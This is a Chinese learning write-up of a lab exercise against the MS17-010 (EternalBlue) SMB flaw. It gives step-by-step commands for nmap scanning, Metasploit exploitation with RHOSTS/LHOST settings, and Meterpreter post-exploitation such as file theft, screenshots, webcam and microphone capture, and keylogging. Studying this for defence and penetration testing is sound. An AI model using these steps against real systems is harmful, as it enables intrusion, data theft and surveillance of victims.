ms17_010 是一种操作系统漏洞,仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统,并执行任意代码。这个漏洞通过 445 文件共享端口进行利用,一旦攻击者成功利用该漏洞,就可以在目标主机上植入各种恶意软件,如勒索软件。最近出现的 WannaCry 勒索软件就使用 ms17_010 漏洞来传播和植入勒索代码,将目标系统中的所有文件加密并威胁用户付款。由于该漏洞易受攻击,且已经公开和广泛利用,因此建议 Windows 系统用户及时进行安全更新以避免被攻击。对于其渗透测试相关应用,可以使用 Metasploit 和其他渗透测试框架进行利用和测试。今天就以该漏洞,作为我渗透学习的,第一次实例学习。
首先用nmap工具 收集该网络所有网络设备信息,从中找出可能带有漏洞的设备
以上信息可以看出该网段中我们可以看出
ip尾号:134、136开启了445、139等端口,可能存在ms17_010漏洞
使用nmap深入扫描
nmap -A -sS -sV
-A为深度强力扫描能扫出是什么系统耗时较长,
-sS 为TCP连接中的SYN扫描,找出该主机已经连接的tcp服务 ,
-sV 为端口上的服务版本扫描
nmap更深层次的用法 是用脚本扫描使用 –script= 来表示,=后面写脚本名。vnln是直接对漏洞进行了扫描
nmap --script=vuln -A -sV -O
现在我们是要查目标网段是否存在ms17_010漏洞,所以我们使用 –script=vuln 加ip -A -sV来扫描以上两台主机,具体查一查它们究竟有没有ms17_010漏洞
该条列出了192.168.30.134主机系统的详细情况和存在的漏洞情况,
文档中指出该系统为windows server 2008 R2 系统
开启DNS服务版本号为6.1.7601
IIS服务版本号为httpd7.5
我们和该系统的距离是1(以路由器为单位,距离1代表它就是我们的下一站)
以及该主机的MAC物理地址。
并把该系统的已用的TCP端口全部都暴露出来包括客户端端口发现了ms17_010漏洞。
该条记录中则描述了192.168.30.136主机系统的详细情况和存在的漏洞情况,
从该记录中我们可以看出,它是一个windows 7系统版本是2008|8.1版本,存在着ftp、PRC、NETBIOS、SMB等服务,同时它也存在着ms17_010漏洞
此时我们的信息资产收集已经完成,针对该信息资产开始下一步的渗透流程。
,
在该阶段我们需要利用到Metasploit工具,Metasploit是一个非常强大的工具,同时它也是一款开源的软件,开源就意味着可以免费使用,它可以执行广泛的安全测试任务,简化了渗透的工作,它可以在windows、linux和Mac三端使用。
在使用这款软件前我们先熟悉一下它的专业术语
Exploit: 指针对漏洞的攻击代码,用来利用目标计算机系统的弱点,以获取控制权或执行任意代码的权力。
Payload: 指在攻击被成功执行后要运行的代码,可以是以个后门、恶意软件或命令控制器等。
Vulnerability: 表示存在的漏洞或弱点,可能被攻击者利用
Module: 指metasploit框架中的代码模块,用于执行各种功能,如扫描、攻击、后渗透等。
Encoder: 指对已存在的payload进行加密以逃避防护或检测。
Auxiliary: 指matesploit编写的相关辅助扫描模块,如MYSQL扫描、SMB枚举等
Post-exploitation: 指攻击成功后继续扩大入侵行为,如收集密码、监听网络流量等
metepreter: 是Metasploit框架中最常用的shell,可以提供完整的控制台,具有很强的功能。
Session: 表示目标计算机建立的会话,可以访问受攻击计算机的资源和数据
Listener:指Metasploit框架用于监听反向shell或payload连接的组件
以上只是对matesploit简要的介绍了常用的专业术语,如果要详细了解这一工具还需要不断的学习。
接下来我们就要使用该工具,进行建模,在该工具去查找ms17_010的相关漏洞模块惊醒攻击
首先我们先进入到matesploit工具中,在kali系统用我们可以使用msfconsole进入msf控制台
msfconsole
该工具有一个特点,每一次进入它的图像都会不一样(我进了10几次,每次都不一样不知道以后会不会有重复的)。
到这里我们就可以开始进行漏洞查找了,使用命令search
search ms17_010
在此我们可以看到有4个选项它们分别是对应ms17_010的漏洞模块:
exploit/windows/smb/ms17_010_eternalblue
该模块用于利用MS17-010漏洞实现远程执行代码,可以覆盖掉目标计算机的内存地址,从而实现攻击者的恶意代码在被攻击计算机上的执行。exploit/windows/smb/ms17_010_psexec
该模块使用PsExec登录到目标计算机的系统帐(NTAUTHORITY\SYSTEM)并实现命令执行,需要在目标计算机上存在管理共享。这个模块和上面的模块一样是利用MS17-010漏洞。
auxiliary/admin/smb/ms17_010_command
该模块用于发现被漏洞影响的 Windows主机,以及执行命令,可以通过提供的选项进行数据包分析,或可选通道溢出使用,以获得远程命令执行的权限。
auxiliary/scanner/smb/smb_ms17_010
该模块用于发现被漏洞影响的 Windows主机,以及执行命令,可以通过提供的选项进行数据包分析,或可选通道溢出使用,以获得远程命令执行的权限。
exploit为攻击模块
auxiliary为辅助扫描模块
大家注意到这个表格中的属性一共有5项,、
name:代表名字
disclosure:表示披露的时间
Rank : 表示模块的可靠性分别对应四级
- “Excellent”:表示该模块的效果非常好,准确率较高,而且测试情况较广泛,被认为是最可靠的模块。
- “Great”:表示该模块效果不错,准确率较高,但测试情况可能较少,被认为是比较可靠的模块。
- “Normal”:表示该模块效果一般,测试手段较单一,存在一定漏洞,可靠性较差。
- “Average”:表示该模块的效果一般,测试情况较少,被认为是比较不可靠的模块。
Check: 指的是该模块是否支持漏洞检测。
- 模块的check 为yes,那么使用该模块可以先检测目标主机是否存在漏洞,以避免不必要的攻击,
- 模块check 为No,它就只能用于攻击或者利用漏洞,使用此类模块时需格外小心,避免造成不必要的损失
? Description:它是描述漏洞或者模块的详细介绍。
以上我们粗略的了解了模块的相关属性。
现在威胁模型基本已经完成,我们已经找到该漏洞的相关模块,接下来就是分析验证主机内是否真的存在漏洞。
在此阶段我们选择辅助扫描模块,对漏洞进行进一步的确认。
输入命令
use 2
或
use auxiliary/admin/smb/ms17_010_command
进入3号辅助扫描模块
然后查看模块配置,把相关重要配置补充使用命令
show options
rhosts 是被攻击方的IP 一定要设置,不设置这个谁都攻击不了😒
接下来我们来设置rhosts,输入命令
set rhosts 被攻击方IP(靶机)
此时我们就可以开始运行模块,愉快的检测扫描了🤣
经过重新的扫描检测,最终确认134、136两台主机都存在ms17_010漏洞😍
准备工作都做完了,接下来我们就可以开始正式的渗透攻击了。
到了渗透攻击这一阶段,首先我们要吧matesploit模块切换到攻击模块(exploit)
使用命令
use 0
并重新设置show options.里面的rhosts
set RHOSTS 被攻击方IP(靶机IP)
还有本地IP LHOST也要设置,LHOST是攻击者和受害者之间连接必须要设置的,没有正确的设置可能会导致攻击失败,甚至暴露攻击者IP和位置信息。一般在工具里都会默认设置为本机地址。
set LHOST 攻击方IP
接下来就准备攻击,攻击就是启动攻击模块命令为:
run
看到Win 就代表我们成功了,现在我们已经渗透成功了,接下来就是后续的攻击了
当我们渗透攻击成功后,可以做的事情就多了,例如:打开被攻击方的摄像头、查看被攻击方的绝密资料、操控被攻击方的计算机,总而言之,攻破以后被攻击方的电脑就是你的后花园,你想干嘛就干嘛。接下来我们看看具体实现这些操作的命令。
网络命令
ifconfig
查看靶机的ip和网卡相关信息
你可以在这里查看该主机是否还有其他网卡,能否通过它继续深入渗透。
arp
查看靶机的arp表
arp协议是一个非常重要的网络层协议之一,有了这张表就可以清楚的知道该主机和那些主机有过连接,如果针对攻击,也可以导致对方网络瘫痪。
netstat
这个协议可以查看所有传输层的连接,TCP、UDP都可以查看。
在这里可以查出所有和靶机有连接的程序,也是一个非常重要的表项
文件操作命令
upload
上传文件
download
下载文件
通过这两条命令,可以轻松的窃取主机数据资源。还有其他像cd、pwd、ls等命令基本和linux或windows指令相同,可以照搬使用
截图和摄像头命令
screenshot
截图指令
截取靶机正在运行的界面截图,使用得当也是具有非常大的破坏力。
webcom_list
查看摄像头列表
webcom_stream
使用摄像头进行录像
webcom_snap
使用摄像头进行拍照
妥妥的个人隐私的暴露,摄像头为什么不安全,我想大家现在应该都明白了吧。
由于本人设备没有摄像头就不在进行截图演示了,有想法的朋友可以自己试试。
record_mic
环境监听
视频都有了,那声音的出现我也不意外,只是感慨电脑原来这么不安全。
由于本人设备没有mic(麦克风),所以报错了,,
keyscan_start
获取键盘记录
keyscan_dump
转换为字符
说到这里,我想到的就是木马,在以前木马就是截取了键盘敲击几率实现盗号灯操作。
? 被渗透后的计算机真的是太可怕了,隐私毫无保留,而且我们什么都不知道,人家都是在悄无声息的观察你的生活,窃取你的重要数据,在这里我只说了一小部分命令,还有更多,隐藏更深,破坏力更大的命令我没有说,永恒之蓝为什么能这么霸道,这就是它的底气。
今日认认真真的对ms17_010漏洞彻彻底底的学习了一遍,熟悉了Nmap、matesploit等工具的使用,并在本地实际的操作了一番,当我操作完成后,更加的感觉网络的可怕,如果没有网安人员为我们保驾护航,我们几乎就是全身赤裸的,暴露在这片广域的网络海洋中。至此也更加强了,我对网络安全学习的欲望,每一次查阅资料、敲击指令,我几乎都感觉不到时间的流动,我只感觉是一瞬间的就到了晚上了。现总结今天我收获的知识。
. 在做渗透测试需要有7个阶段
前期交互阶段:
情报收集阶段:
威胁建模阶段:
漏洞分析阶段:
渗透攻击阶段:
后渗透攻击阶段
报告阶段